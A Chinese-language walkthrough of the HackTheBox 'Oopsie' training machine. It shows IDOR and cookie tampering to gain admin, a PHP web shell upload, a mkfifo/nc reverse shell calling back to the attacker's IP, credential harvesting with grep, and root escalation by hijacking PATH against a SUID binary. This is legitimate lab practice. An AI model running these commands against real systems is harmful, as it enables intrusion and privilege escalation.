HTB-oopsie靶场练习

发布时间 2023-09-06 20:29:02作者: Wav3W1nd50r

靶机地址: 10.129.130.57

攻击机地址: 10.10.14.185

端口扫描

nmap -sV -sC 10.129.130.57

访问10.129.130.57, 对一些可能有用的信息进行记录

打开burp, 刷新网页, 点击HTTP history,注意到/cdn-cgi/login/script.js

试着访问http://10.129.130.57/cdn-cgi/login/script.js,页面没有内容

访问http://10.129.130.57/cdn-cgi/login/,发现登录后台

帐号admin,试着进行弱密码爆破,但失败了

点击游客登录

对url的id值进行变换,最后在id=1处发现admin用户的相关信息

继续查看其它模块,发现在uploads模块中,发现需要管理员权限才能上传文件

F12进入控制台,点击storge,查看cookie,此时为游客权限

试着把cookie修改为刚才从account模块下得到的数据,刷新页面,完成纵向越权

将以下shell文件上传

上传成功

对靶机进行目录扫描,寻找php文件

gobuster dir -u http://10.129.130.57/ -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -x php

-u: 指定url

-w: 指定字典

-x: 指定文件后缀

发现一个/uploads目录

访问http://10.129.130.57/uploads/shell.php?cmd=whoami

使用nc监听8888端口

nc -lnvp 8888

浏览器输入:

10.129.130.57/uploads/shell.php?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.185 8888 >/tmp/f

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.185 8888 >/tmp/f    
// 这是一段反向shell,mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和错误输出结果通过nc传到该管道,形成了一个回路
// nc反向shell原理:被控端使用nc将/bin/sh发送到控制端的8888端口,控制端监听本地的8888端口,获得shell

如果终端没有响应,可用burp进行抓包重放,ctrl+u对参数进行unicode编码

连接成功

查看/etc/passwd文件,robert像是个用户

因为该shell不是交互式的,无法自动补全命令,无法移动光标等问题,且缺少tty,没有上下文环境,但该机器上存在python,所以使用python pty进行tty提升

python3 -c 'import pty;pty.spawn("/bin/bash");'  // 提升tty

获得更多访问权限后,ctrl+z将其放入后台

输入stty raw -echo;fg(fg是把后台的nc -lnvp调回前台)

输入export TERM=linux清除控制台

此时shell可交互,我们拥有tab键自动补全功能,也可以自由使用方向键

进入/var/www/html/cdn-cgi/login目录

输入grep -i “password” *

在当前目录下的所有文件中匹配password

*为当前目录,-i为不区分大小写

在/etc/passwd中没有发现admin用户,所以该密码无法在本台机器上登录

查看db.php,发现用户robert的密码

登录robert

到用户目录下,查看user.txt文件

查找group为bugtracker可调用的程序有哪些

find / -group bugtracker 2>/dev/null

/dev/null:写入该文件的数据不会被存储,通常用来丢弃数据

Linux系统预留可三个文件描述符0、1和2

含义:0→标准输入、1→标准输出、2→标准错误

2>/dev/null: 把错误信息丢弃

查看文件信息

ls -la /usr/bin/bugstracker

该文件的所有者为root,具有s(suid)权限位

s权限位:使文件在执行阶段具有文件所有者的权限,相当于临时拥有文件所有者的身份.

例: 典型文件/etc/passwd, 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限更改用户的密码.

输入bugstracker执行该命令, 并测试一些id

注意到cat: /root/reports/8888, 该命令使用cat来寻找该文件,并打印文件,但cat命令依赖path环境变量

输入echo $PATH,查看当前环境变量

在使用cat命令时,先从/usr/local/sbin下寻找该命令,如果没有找到,再从/usr/local/bin下寻找,以此类推到/usr/local/games,直到最后一个目录下也没找到该命令,就在终端输入command not found

 

进入tmp目录下,创建cat文件,cat文件中的内容为/bin/bash

使用chmod给改文件增加执行权限(x)

将tmp目录加入到环境变量$PATH

再次执行bugstracker,输入id

cat命令调用时,在tmp目录下被找到,并以root身份执行/bin/bash,提权成功

在/root/目录下找到root.txt